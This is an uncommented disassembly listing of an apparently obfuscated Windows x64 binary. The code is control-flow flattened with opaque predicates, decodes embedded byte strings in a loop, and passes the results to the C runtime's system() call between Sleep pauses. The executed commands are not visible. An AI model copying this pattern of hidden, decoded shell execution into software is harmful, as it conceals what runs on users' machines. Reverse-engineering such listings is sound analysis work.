mov ecx, dword [0x140ae0bac]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp]
cmp ecx, 0xa
setl byte [rbp + 8]
mov ecx, 0x6ab01df
mov edx, dword [0x140ae0ba8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x6d40b88
mov ebx, 0xf60e03e0
cmove edx, ebx
cmp dword [0x140ae0bac], 0xa
cmovl edx, ebx
nop word cs:[rax + rax]
nop
cmp ecx, 0x6ab01de
jg 0x1404c7150
cmp ecx, 0xa214a4d3
je 0x1404c729a
cmp ecx, 0xd2d8422a
je 0x1404c7190
cmp ecx, 0xf60e03e0
jne 0x1404c7120
mov ecx, 0xd2d8422a
jmp 0x1404c7120
cmp ecx, 0xf62e368
je 0x1404c7184
cmp ecx, 0x6d40b88
je 0x1404c7188
cmp ecx, 0x6ab01df
jne 0x1404c7120
movzx ebx, byte [rbp]
cmp byte [rbp + 8], 0
mov ecx, 0x6d40b88
mov edi, 0xf62e368
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1404c7120
mov ecx, edx
jmp 0x1404c7120
mov ecx, 0xf62e368
jmp 0x1404c7120
sub rsp, 0x20
mov rcx, rsi
call fcn.140326fe0
add rsp, 0x20
mov ecx, 0xa214a4d3
jmp 0x1404c70ef
mov rdx, qword [rbp - 0x38]
sub rsp, 0x20
mov rsi, qword [rbp - 0x50]
mov rcx, rsi
call fcn.140282cd0
add rsp, 0x20
mov eax, dword [0x140ae0ba8]
mov ecx, dword [0x140ae0bac]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp]
cmp ecx, 0xa
setl byte [rbp + 8]
mov ecx, 0x6ab01df
mov edx, dword [0x140ae0ba8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x6d40b88
mov ebx, 0xf60e03e0
cmove edx, ebx
cmp dword [0x140ae0bac], 0xa
cmovl edx, ebx
nop dword [rax]
cmp ecx, 0x6ab01de
jg 0x1404c7240
cmp ecx, 0xa214a4d3
je 0x1404c737a
cmp ecx, 0xd2d8422a
je 0x1404c7280
cmp ecx, 0xf60e03e0
jne 0x1404c7210
mov ecx, 0xd2d8422a
jmp 0x1404c7210
cmp ecx, 0xf62e368
je 0x1404c7274
cmp ecx, 0x6d40b88
je 0x1404c7278
cmp ecx, 0x6ab01df
jne 0x1404c7210
movzx ebx, byte [rbp]
cmp byte [rbp + 8], 0
mov ecx, 0x6d40b88
mov edi, 0xf62e368
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1404c7210
mov ecx, edx
jmp 0x1404c7210
mov ecx, 0xf62e368
jmp 0x1404c7210
sub rsp, 0x20
mov rcx, rsi
call fcn.140326fe0
add rsp, 0x20
mov ecx, 0xa214a4d3
jmp 0x1404c71e7
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
sub rsp, 0x20
call fcn.1400c8d90
mov rcx, rsi
call fcn.14024afe0
call fcn.14038b3d0
add rsp, 0x20
mov eax, dword [0x140ae96f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp]
mov ecx, dword [0x140ae96fc]
mov eax, 0x86e3e90d
mov edx, 0x21da00ff
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 8]
cmovl eax, edx
mov ecx, 0xfc7b60a
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xdb539809
jg 0x1404c7330
cmp ecx, 0x86e3e90d
je 0x1404c7368
cmp ecx, 0x8d81636f
je 0x1404c736f
cmp ecx, 0xacdd1e8a
jne 0x1404c7300
mov ecx, 0xdb53980a
jmp 0x1404c7300
cmp ecx, 0xdb53980a
je 0x1404c745a
cmp ecx, 0x21da00ff
je 0x1404c7373
cmp ecx, 0xfc7b60a
jne 0x1404c7300
movzx edx, byte [rbp]
cmp byte [rbp + 8], 0
mov ecx, 0x86e3e90d
mov ebx, 0x8d81636f
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1404c7300
mov ecx, 0x8d81636f
jmp 0x1404c7300
mov ecx, eax
jmp 0x1404c7300
mov ecx, 0xacdd1e8a
jmp 0x1404c7300
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
sub rsp, 0x20
call fcn.1400c8d90
mov rcx, rsi
call fcn.14024afe0
call fcn.14038b3d0
add rsp, 0x20
mov eax, dword [0x140ae96f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp]
mov ecx, dword [0x140ae96fc]
mov eax, 0x86e3e90d
mov edx, 0x21da00ff
cmove eax, edx
cmp ecx, 0xa
setl byte [rbp + 8]
cmovl eax, edx
mov ecx, 0xfc7b60a
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ecx, 0xdb539809
jg 0x1404c7410
cmp ecx, 0x86e3e90d
je 0x1404c7448
cmp ecx, 0x8d81636f
je 0x1404c744f
cmp ecx, 0xacdd1e8a
jne 0x1404c73e0
mov ecx, 0xdb53980a
jmp 0x1404c73e0
cmp ecx, 0xdb53980a
je 0x1404c7918
cmp ecx, 0x21da00ff
je 0x1404c7453
cmp ecx, 0xfc7b60a
jne 0x1404c73e0
movzx edx, byte [rbp]
cmp byte [rbp + 8], 0
mov ecx, 0x86e3e90d
mov ebx, 0x8d81636f
cmovne ecx, ebx
test dl, dl
cmovne ecx, ebx
jmp 0x1404c73e0
mov ecx, 0x8d81636f
jmp 0x1404c73e0
mov ecx, eax
jmp 0x1404c73e0
mov ecx, 0xacdd1e8a
jmp 0x1404c73e0
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rcx, qword [0x140683364]
mov qword [rax + 0x1f], rcx
movups xmm0, xmmword [0x140683355]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140683345]
movups xmmword [rax], xmm0
mov eax, dword [0x140ae9700]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae9704], 0xa
setl cl
or cl, al
mov ecx, 0x9f52af9f
mov eax, 0xe67f553f
cmovne ecx, eax
mov dword [rbp - 0x48], ecx
mov ecx, 0x9f52af9f
mov eax, 0x2be99235
cmovne ecx, eax
mov dword [rbp - 0x5c], ecx
mov eax, dword [0x140ae8fe0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8fe4], 0xa
setl cl
or cl, al
mov r9d, 0xd7ff55a8
mov eax, 0xd1f5aec4
cmovne r9d, eax
mov r10d, 0xd7ff55a8
mov eax, 0xdbd81c2c
cmovne r10d, eax
mov r12d, 0xbf45f2b5
mov eax, 0x3a602bb1
cmovne r12d, eax
mov r11d, 0xbf45f2b5
mov eax, 0x57fb9708
cmovne r11d, eax
mov r15d, 0x73d03340
mov eax, 0x7653a5e4
cmovne r15d, eax
mov esi, 0x73d03340
mov eax, 0xfb15a460
cmovne esi, eax
mov ecx, 0xcf7e7f0b
nop
cmp ecx, 0xe67f553e
jle 0x1404c7570
cmp ecx, 0xe67f553f
je 0x1404c7dd7
cmp ecx, 0x2be99235
je 0x1404c78fa
cmp ecx, 0x34c51810
jne 0x1404c7540
mov ecx, dword [rbp - 0x5c]
jmp 0x1404c7540
cmp ecx, 0x9f52af9f
je 0x1404c790a
cmp ecx, 0xcf7e7f0b
jne 0x1404c7540
mov ecx, 0xf8e0bee5
jmp 0x1404c75a0
mov rax, qword [rbp]
mov qword [rbp + 8], rax
mov ecx, 0x2b6d377e
nop dword [rax + rax]
cmp ecx, 0xf8e0bee4
jg 0x1404c75e0
cmp ecx, 0xcf6929ab
jg 0x1404c7610
cmp ecx, 0x8ce4089b
je 0x1404c789f
cmp ecx, 0xcc5348ee
jne 0x1404c75a0
cmp byte [rbp + 0x26], 0
mov ecx, 0x8ce4089b
mov eax, 0x5801915b
cmovne ecx, eax
jmp 0x1404c75a0
cmp ecx, 0x5465ce92
jle 0x1404c7865
cmp ecx, 0x5465ce93
je 0x1404c78b1
cmp ecx, 0x5801915b
jne 0x1404c75a0
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x10], rax
mov ecx, 0x5465ce93
jmp 0x1404c75a0
cmp ecx, 0xcf6929ac
je 0x1404c758b
cmp ecx, 0xf00f228e
jne 0x1404c75a0
mov r13, qword [rbp - 0x20]
mov edx, 0x17cb662d
jmp 0x1404c7670
movzx edx, byte [rbp + 0x25]
movsxd rbx, dword [rbp + 0x14]
imul rax, rbx, 0x51eb851f
mov rdi, rax
shr rdi, 0x3f
sar rax, 0x24
add eax, edi
imul eax, eax, 0x32
sub ebx, eax
lea eax, [rbx + 0x34]
mov edi, 0xcb
sub edi, ebx
and edi, edx
not edx
and edx, eax
or edi, edx
mov byte [rbp + 0x27], dil
mov edx, 0x795265e6
nop
mov r8d, edx
cmp edx, 0xfb15a45f
jle 0x1404c76d0
cmp r8d, 0x57fb9707
jg 0x1404c7710
cmp r8d, 0x17cb662c
jg 0x1404c7785
mov edx, r15d
cmp r8d, 0xfb15a460
je 0x1404c7670
mov edx, r8d
cmp r8d, 0xfdc1ce1e
jne 0x1404c7670
movsxd rdx, dword [rbp + 0x14]
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
movzx edx, byte [r13 + rdx]
mov byte [rbp + 0x25], dl
mov edx, 0x960170b2
jmp 0x1404c7670
cmp r8d, 0xd1f5aec3
jg 0x1404c7750
cmp r8d, 0x960170b1
jg 0x1404c77ec
cmp r8d, 0x805cc8df
je 0x1404c7826
mov edx, r8d
cmp r8d, 0x8899a40e
jne 0x1404c7670
mov edx, r10d
jmp 0x1404c7670
cmp r8d, 0x7653a5e3
jg 0x1404c77b0
mov edx, r12d
cmp r8d, 0x57fb9708
je 0x1404c7670
mov edx, r8d
cmp r8d, 0x73d03340
jne 0x1404c7670
mov edx, 0xfb15a460
jmp 0x1404c7670
cmp r8d, 0xdbd81c2b
jle 0x1404c7813
mov edx, r9d
cmp r8d, 0xdbd81c2c
je 0x1404c7670
mov edx, r8d
cmp r8d, 0xf2ffabec
jne 0x1404c7670
mov edx, r11d
jmp 0x1404c7670
mov edx, esi
cmp r8d, 0x17cb662d
je 0x1404c7670
mov edx, r8d
cmp r8d, 0x3a602bb1
jne 0x1404c7670
mov edx, 0x805cc8df
xor ecx, ecx
jmp 0x1404c7670
cmp r8d, 0x7653a5e4
je 0x1404c7841
mov edx, r8d
cmp r8d, 0x795265e6
jne 0x1404c7670
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rbp + 0x27]
mov rdx, qword [rbp - 0x18]
mov byte [rdx + rax], cl
mov ecx, dword [rbp + 0x14]
add ecx, 1
mov edx, 0x805cc8df
jmp 0x1404c7670
cmp r8d, 0x960170b2
je 0x1404c7633
mov edx, r8d
cmp r8d, 0xbf45f2b5
jne 0x1404c7670
mov edx, 0x57fb9708
jmp 0x1404c7670
cmp r8d, 0xd7ff55a8
jne 0x1404c784b
mov edx, 0xdbd81c2c
jmp 0x1404c7670
mov dword [rbp + 0x14], ecx
mov edx, dword [rbp + 0x14]
cmp edx, 0x27
mov edx, 0x8899a40e
mov eax, 0xfdc1ce1e
cmovl edx, eax
jmp 0x1404c7670
mov edx, 0xf2ffabec
jmp 0x1404c7670
mov edx, r8d
cmp r8d, 0xd1f5aec4
jne 0x1404c7670
mov ecx, 0x8ce4089b
jmp 0x1404c75a0
cmp ecx, 0xf8e0bee5
jne 0x1404c78d8
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x18], rax
mov edx, 0xadaac494
nop word [rax + rax]
cmp edx, 0xd66a3165
je 0x1404c78c3
cmp edx, 0xadaac494
jne 0x1404c7880
mov rcx, qword [rbp + 0x18]
movzx ecx, byte [rcx + 0x26]
mov edx, 0xd66a3165
jmp 0x1404c7880
mov rax, qword [rbp - 0x18]
mov qword [rbp], rax
mov ecx, 0xcf6929ac
jmp 0x1404c75a0
mov rcx, qword [rbp - 0x10]
mov qword [rbp - 0x20], rcx
mov ecx, 0xf00f228e
jmp 0x1404c75a0
mov byte [rbp + 0x14], cl
cmp byte [rbp + 0x14], 0
setne byte [rbp + 0x26]
mov ecx, 0xcc5348ee
jmp 0x1404c75a0
cmp ecx, 0x2b6d377e
jne 0x1404c75a0
mov rax, qword [rbp + 8]
mov rax, qword [rbp - 0x18]
mov qword [rbp - 8], rax
mov ecx, 0x34c51810
jmp 0x1404c7540
mov rax, qword [rbp - 8]
mov qword [rbp - 0x38], rax
mov ecx, dword [rbp - 0x48]
jmp 0x1404c7540
mov rax, qword [rbp - 8]
mov ecx, 0x2be99235
jmp 0x1404c7540
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x18]
mov rcx, qword [0x140683364]
mov qword [rax + 0x1f], rcx
movups xmm0, xmmword [0x140683355]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x140683345]
movups xmmword [rax], xmm0
mov eax, dword [0x140ae9700]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae9704], 0xa
setl cl
or cl, al
mov ecx, 0x9f52af9f
mov eax, 0xe67f553f
cmovne ecx, eax
mov dword [rbp - 0x50], ecx
mov ecx, 0x9f52af9f
mov eax, 0x2be99235
cmovne ecx, eax
mov dword [rbp - 0x48], ecx
mov eax, dword [0x140ae8fe0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140ae8fe4], 0xa
setl cl
or cl, al
mov r9d, 0xd7ff55a8
mov eax, 0xd1f5aec4
cmovne r9d, eax
mov r10d, 0xd7ff55a8
mov eax, 0xdbd81c2c
cmovne r10d, eax
mov r15d, 0xbf45f2b5
mov eax, 0x3a602bb1
cmovne r15d, eax
mov r11d, 0xbf45f2b5
mov eax, 0x57fb9708
cmovne r11d, eax
mov r12d, 0x73d03340
mov eax, 0x7653a5e4
cmovne r12d, eax
mov ebx, 0x73d03340
mov eax, 0xfb15a460
cmovne ebx, eax
mov eax, 0xcf7e7f0b
nop dword [rax]
cmp eax, 0xe67f553e
jle 0x1404c7a30
cmp eax, 0xe67f553f
je 0x1404c7eca
cmp eax, 0x2be99235
je 0x1404c7db9
cmp eax, 0x34c51810
jne 0x1404c7a00
mov eax, dword [rbp - 0x48]
jmp 0x1404c7a00
cmp eax, 0x9f52af9f
je 0x1404c7dc9
cmp eax, 0xcf7e7f0b
jne 0x1404c7a00
mov eax, 0xf8e0bee5
jmp 0x1404c7a60
mov rax, qword [rbp]
mov qword [rbp + 8], rax
mov eax, 0x2b6d377e
nop word cs:[rax + rax]
cmp eax, 0xf8e0bee4
jg 0x1404c7aa0
cmp eax, 0xcf6929ab
jg 0x1404c7ad0
cmp eax, 0x8ce4089b
je 0x1404c7d5f
cmp eax, 0xcc5348ee
jne 0x1404c7a60
cmp byte [rbp + 0x26], 0
mov eax, 0x8ce4089b
mov ecx, 0x5801915b
cmovne eax, ecx
jmp 0x1404c7a60
cmp eax, 0x5465ce92
jle 0x1404c7d25
cmp eax, 0x5465ce93
je 0x1404c7d71
cmp eax, 0x5801915b
jne 0x1404c7a60
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x10], rax
mov eax, 0x5465ce93
jmp 0x1404c7a60
cmp eax, 0xcf6929ac
je 0x1404c7a49
cmp eax, 0xf00f228e
jne 0x1404c7a60
mov r13, qword [rbp - 0x20]
mov edx, 0x17cb662d
jmp 0x1404c7b30
movzx edx, byte [rbp + 0x25]
movsxd rax, dword [rbp + 0x14]
imul rcx, rax, 0x51eb851f
mov rsi, rcx
shr rsi, 0x3f
sar rcx, 0x24
add ecx, esi
imul ecx, ecx, 0x32
sub eax, ecx
lea ecx, [rax + 0x34]
mov esi, 0xcb
sub esi, eax
and esi, edx
not edx
and edx, ecx
or esi, edx
mov byte [rbp + 0x27], sil
mov edx, 0x795265e6
nop dword [rax]
mov r8d, edx
cmp edx, 0xfb15a45f
jle 0x1404c7b90
cmp r8d, 0x57fb9707
jg 0x1404c7bd0
cmp r8d, 0x17cb662c
jg 0x1404c7c45
mov edx, r12d
cmp r8d, 0xfb15a460
je 0x1404c7b30
mov edx, r8d
cmp r8d, 0xfdc1ce1e
jne 0x1404c7b30
movsxd rdx, dword [rbp + 0x14]
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
movzx edx, byte [r13 + rdx]
mov byte [rbp + 0x25], dl
mov edx, 0x960170b2
jmp 0x1404c7b30
cmp r8d, 0xd1f5aec3
jg 0x1404c7c10
cmp r8d, 0x960170b1
jg 0x1404c7cac
cmp r8d, 0x805cc8df
je 0x1404c7ce6
mov edx, r8d
cmp r8d, 0x8899a40e
jne 0x1404c7b30
mov edx, r10d
jmp 0x1404c7b30
cmp r8d, 0x7653a5e3
jg 0x1404c7c70
mov edx, r15d
cmp r8d, 0x57fb9708
je 0x1404c7b30
mov edx, r8d
cmp r8d, 0x73d03340
jne 0x1404c7b30
mov edx, 0xfb15a460
jmp 0x1404c7b30
cmp r8d, 0xdbd81c2b
jle 0x1404c7cd3
mov edx, r9d
cmp r8d, 0xdbd81c2c
je 0x1404c7b30
mov edx, r8d
cmp r8d, 0xf2ffabec
jne 0x1404c7b30
mov edx, r11d
jmp 0x1404c7b30
mov edx, ebx
cmp r8d, 0x17cb662d
je 0x1404c7b30
mov edx, r8d
cmp r8d, 0x3a602bb1
jne 0x1404c7b30
mov edx, 0x805cc8df
xor edi, edi
jmp 0x1404c7b30
cmp r8d, 0x7653a5e4
je 0x1404c7d01
mov edx, r8d
cmp r8d, 0x795265e6
jne 0x1404c7b30
mov rax, qword [rbp + 0x18]
movzx ecx, byte [rbp + 0x27]
mov rdx, qword [rbp - 0x18]
mov byte [rdx + rax], cl
mov edi, dword [rbp + 0x14]
add edi, 1
mov edx, 0x805cc8df
jmp 0x1404c7b30
cmp r8d, 0x960170b2
je 0x1404c7af1
mov edx, r8d
cmp r8d, 0xbf45f2b5
jne 0x1404c7b30
mov edx, 0x57fb9708
jmp 0x1404c7b30
cmp r8d, 0xd7ff55a8
jne 0x1404c7d0b
mov edx, 0xdbd81c2c
jmp 0x1404c7b30
mov dword [rbp + 0x14], edi
mov edx, dword [rbp + 0x14]
cmp edx, 0x27
mov edx, 0x8899a40e
mov eax, 0xfdc1ce1e
cmovl edx, eax
jmp 0x1404c7b30
mov edx, 0xf2ffabec
jmp 0x1404c7b30
mov edx, r8d
cmp r8d, 0xd1f5aec4
jne 0x1404c7b30
mov eax, 0x8ce4089b
jmp 0x1404c7a60
cmp eax, 0xf8e0bee5
jne 0x1404c7d98
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x18], rax
mov edx, 0xadaac494
nop dword [rax]
cmp edx, 0xd66a3165
je 0x1404c7d83
cmp edx, 0xadaac494
jne 0x1404c7d40
mov rax, qword [rbp + 0x18]
movzx eax, byte [rax + 0x26]
mov edx, 0xd66a3165
jmp 0x1404c7d40
mov rax, qword [rbp - 0x18]
mov qword [rbp], rax
mov eax, 0xcf6929ac
jmp 0x1404c7a60
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x20], rax
mov eax, 0xf00f228e
jmp 0x1404c7a60
mov byte [rbp + 0x14], al
cmp byte [rbp + 0x14], 0
setne byte [rbp + 0x26]
mov eax, 0xcc5348ee
jmp 0x1404c7a60
cmp eax, 0x2b6d377e
jne 0x1404c7a60
mov rax, qword [rbp + 8]
mov rax, qword [rbp - 0x18]
mov qword [rbp - 8], rax
mov eax, 0x34c51810
jmp 0x1404c7a00
mov rax, qword [rbp - 8]
mov qword [rbp - 0x38], rax
mov eax, dword [rbp - 0x50]
jmp 0x1404c7a00
mov rax, qword [rbp - 8]
mov eax, 0x2be99235
jmp 0x1404c7a00
mov rdx, qword [rbp - 0x38]
sub rsp, 0x20
mov rsi, qword [rbp - 0x58]
mov rcx, rsi
call fcn.140282cd0
add rsp, 0x20
mov eax, dword [0x140ae0ba8]
mov ecx, dword [0x140ae0bac]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp]
cmp ecx, 0xa
setl byte [rbp + 8]
mov ecx, 0x6ab01df
mov edx, dword [0x140ae0ba8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x6d40b88
mov ebx, 0xf60e03e0
cmove edx, ebx
cmp dword [0x140ae0bac], 0xa
cmovl edx, ebx
nop word [rax + rax]
cmp ecx, 0x6ab01de
jg 0x1404c7e70
cmp ecx, 0xa214a4d3
je 0x1404c7fba
cmp ecx, 0xd2d8422a
je 0x1404c7eb0
cmp ecx, 0xf60e03e0
jne 0x1404c7e40
mov ecx, 0xd2d8422a
jmp 0x1404c7e40
cmp ecx, 0xf62e368
je 0x1404c7ea4
cmp ecx, 0x6d40b88
je 0x1404c7ea8
cmp ecx, 0x6ab01df
jne 0x1404c7e40
movzx ebx, byte [rbp]
cmp byte [rbp + 8], 0
mov ecx, 0x6d40b88
mov edi, 0xf62e368
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1404c7e40
mov ecx, edx
jmp 0x1404c7e40
mov ecx, 0xf62e368
jmp 0x1404c7e40
sub rsp, 0x20
mov rcx, rsi
call fcn.140326fe0
add rsp, 0x20
mov ecx, 0xa214a4d3
jmp 0x1404c7e14
mov rdx, qword [rbp - 0x38]
sub rsp, 0x20
mov rsi, qword [rbp - 0x58]
mov rcx, rsi
call fcn.140282cd0
add rsp, 0x20
mov eax, dword [0x140ae0ba8]
mov ecx, dword [0x140ae0bac]
lea edx, [rax - 1]
imul edx, eax
test dl, 1
sete byte [rbp]
cmp ecx, 0xa
setl byte [rbp + 8]
mov ecx, 0x6ab01df
mov edx, dword [0x140ae0ba8]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
mov edx, 0x6d40b88
mov ebx, 0xf60e03e0
cmove edx, ebx
cmp dword [0x140ae0bac], 0xa
cmovl edx, ebx
nop dword [rax]
cmp ecx, 0x6ab01de
jg 0x1404c7f60
cmp ecx, 0xa214a4d3
je 0x1404c8056
cmp ecx, 0xd2d8422a
je 0x1404c7fa0
cmp ecx, 0xf60e03e0
jne 0x1404c7f30
mov ecx, 0xd2d8422a
jmp 0x1404c7f30
cmp ecx, 0xf62e368
je 0x1404c7f94
cmp ecx, 0x6d40b88
je 0x1404c7f98
cmp ecx, 0x6ab01df
jne 0x1404c7f30
movzx ebx, byte [rbp]
cmp byte [rbp + 8], 0
mov ecx, 0x6d40b88
mov edi, 0xf62e368
cmovne ecx, edi
test bl, bl
cmovne ecx, edi
jmp 0x1404c7f30
mov ecx, edx
jmp 0x1404c7f30
mov ecx, 0xf62e368
jmp 0x1404c7f30
sub rsp, 0x20
mov rcx, rsi
call fcn.140326fe0
add rsp, 0x20
mov ecx, 0xa214a4d3
jmp 0x1404c7f07
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rsi
call fcn.14024afe0
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp - 0x70]
mov rax, qword [rbp - 0x50]
mov qword [rbp - 0x78], rax
mov rax, qword [rbp - 0x78]
mov eax, 0x1586a7af
nop dword [rax]
cmp eax, 0xed1f8a3c
je 0x1404c80d6
cmp eax, 0x1586a7af
jne 0x1404c8010
mov eax, dword [0x140683c76]
mov rcx, qword [rbp - 0x30]
mov dword [rcx + 0x30], eax
movups xmm0, xmmword [0x140683c66]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [0x140683c56]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [0x140683c46]
movups xmmword [rcx], xmm0
mov eax, 0xed1f8a3c
jmp 0x1404c8010
mov qword [rbp + 0x18], rax
mov rcx, qword [rbp + 0x18]
sub rsp, 0x20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rsi
call fcn.14024afe0
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, 0x1586a7af
nop word cs:[rax + rax]
nop
cmp eax, 0xed1f8a3c
je 0x1404c854a
cmp eax, 0x1586a7af
jne 0x1404c8090
mov eax, dword [0x140683c76]
mov rcx, qword [rbp - 0x30]
mov dword [rcx + 0x30], eax
movups xmm0, xmmword [0x140683c66]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [0x140683c56]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [0x140683c46]
movups xmmword [rcx], xmm0
mov eax, 0xed1f8a3c
jmp 0x1404c8090
mov eax, dword [0x140ae9708]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rbp + 0x27]
mov eax, dword [0x140ae970c]
sete cl
cmp eax, 0xa
setl al
setl byte [rbp + 0x14]
mov rdx, qword [rbp - 0x30]
add rdx, 0x33
mov qword [rbp - 0x18], rdx
mov edx, dword [0x140ae9710]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete dl
cmp dword [0x140ae9714], 0xa
setl bl
or bl, dl
mov r8d, 0xa3b24b5c
mov edx, 0x75b14bde
cmovne r8d, edx
mov r13d, 0xa3b24b5c
mov edx, 0x4feac2e
cmovne r13d, edx
or al, cl
mov r9d, 0x2136a59b
mov eax, 0xf114e2ee
cmovne r9d, eax
mov r12d, 0x2136a59b
mov eax, 0x43ca66f8
cmovne r12d, eax
mov r10d, 0x6057543b
mov eax, 0x5fa1f072
cmovne r10d, eax
mov r11d, 0x6057543b
mov eax, 0xcfd5e2f9
cmovne r11d, eax
mov r15d, 0x57ebd914
mov eax, 0x6c654503
cmovne r15d, eax
mov esi, 0xdfe3da52
jmp 0x1404c81a0
mov esi, 0xcfd5e2f9
nop dword [rax]
mov eax, esi
cmp esi, 0xf771ca44
jg 0x1404c81f0
cmp eax, 0xdfe3da51
jle 0x1404c8220
cmp eax, 0xeaf93b3c
jle 0x1404c8289
mov esi, r12d
cmp eax, 0xeaf93b3d
je 0x1404c81a0
cmp eax, 0xf114e2ee
je 0x1404c8336
mov esi, eax
cmp eax, 0xf596f554
jne 0x1404c81a0
mov rax, qword [rbp - 0x30]
mov qword [rbp], rax
mov esi, 0x83162421
jmp 0x1404c81a0
cmp eax, 0x57ebd913
jg 0x1404c8250
cmp eax, 0x43ca66f7
jg 0x1404c82a9
mov esi, r15d
cmp eax, 0x4184110
je 0x1404c81a0
cmp eax, 0x2136a59b
jne 0x1404c8512
mov esi, 0x43ca66f8
jmp 0x1404c81a0
cmp eax, 0x99879241
jg 0x1404c82f4
cmp eax, 0x83162421
je 0x1404c8340
mov esi, eax
cmp eax, 0x930c625c
jne 0x1404c81a0
mov esi, 0xf596f554
jmp 0x1404c81a0
cmp eax, 0x6057543a
jg 0x1404c8314
cmp eax, 0x57ebd914
je 0x1404c8352
mov esi, eax
cmp eax, 0x5fa1f072
jne 0x1404c81a0
cmp byte [rbp - 8], 0
mov esi, 0xf596f554
mov eax, 0xeaf93b3d
cmovne esi, eax
jmp 0x1404c81a0
cmp eax, 0xdfe3da52
je 0x1404c835c
mov esi, eax
cmp eax, 0xe36ba976
jne 0x1404c81a0
mov esi, r11d
jmp 0x1404c81a0
cmp eax, 0x43ca66f8
je 0x1404c837a
mov esi, eax
cmp eax, 0x55fce827
jne 0x1404c81a0
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0x18], rax
mov eax, 0x9cbbe8f4
nop
cmp eax, 0x113169d6
je 0x1404c838a
cmp eax, 0x9cbbe8f4
jne 0x1404c82d0
mov rax, qword [rbp + 0x18]
cmp byte [rax], 0
setne byte [rbp - 0x10]
mov eax, 0x113169d6
jmp 0x1404c82d0
cmp eax, 0x99879242
je 0x1404c839a
mov esi, eax
cmp eax, 0xcfd5e2f9
jne 0x1404c81a0
mov esi, r10d
jmp 0x1404c81a0
cmp eax, 0x6057543b
je 0x1404c8198
mov esi, eax
cmp eax, 0x6c654503
jne 0x1404c81a0
mov esi, 0x55fce827
jmp 0x1404c81a0
mov esi, 0x99879242
jmp 0x1404c81a0
mov rax, qword [rbp]
mov qword [rbp + 8], rax
mov esi, 0xf771ca45
jmp 0x1404c81a0
mov esi, 0x4184110
jmp 0x1404c81a0
mov al, byte [rbp + 0x27]
cmp byte [rbp + 0x14], 0
mov esi, 0x57ebd914
mov ecx, 0x4184110
cmovne esi, ecx
test al, al
cmovne esi, ecx
jmp 0x1404c81a0
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x20], rax
mov esi, r9d
jmp 0x1404c81a0
mov al, byte [rbp - 0x10]
mov byte [rbp - 8], al
mov esi, 0xe36ba976
jmp 0x1404c81a0
mov rsi, qword [rbp - 0x20]
mov ecx, 0xba0e4ebb
jmp 0x1404c83b0
mov ecx, 0x4feac2e
nop word [rax + rax]
mov ebx, ecx
cmp ecx, 0xe1a6bc5e
jg 0x1404c83f0
cmp ebx, 0xa3b24b5b
jle 0x1404c8470
cmp ebx, 0xa3b24b5c
je 0x1404c83a5
cmp ebx, 0xb394a7d0
je 0x1404c84b2
mov ecx, ebx
cmp ebx, 0xba0e4ebb
jne 0x1404c83b0
mov ecx, 0x9428dbc3
jmp 0x1404c83b0
cmp ebx, 0x7583423d
jg 0x1404c8490
mov ecx, r8d
cmp ebx, 0x4feac2e
je 0x1404c83b0
cmp ebx, 0x53a1a3e2
jne 0x1404c84fa
movzx ecx, byte [rbp - 0x38]
movsxd rbx, dword [rbp - 0x10]
imul rdi, rbx, 0x51eb851f
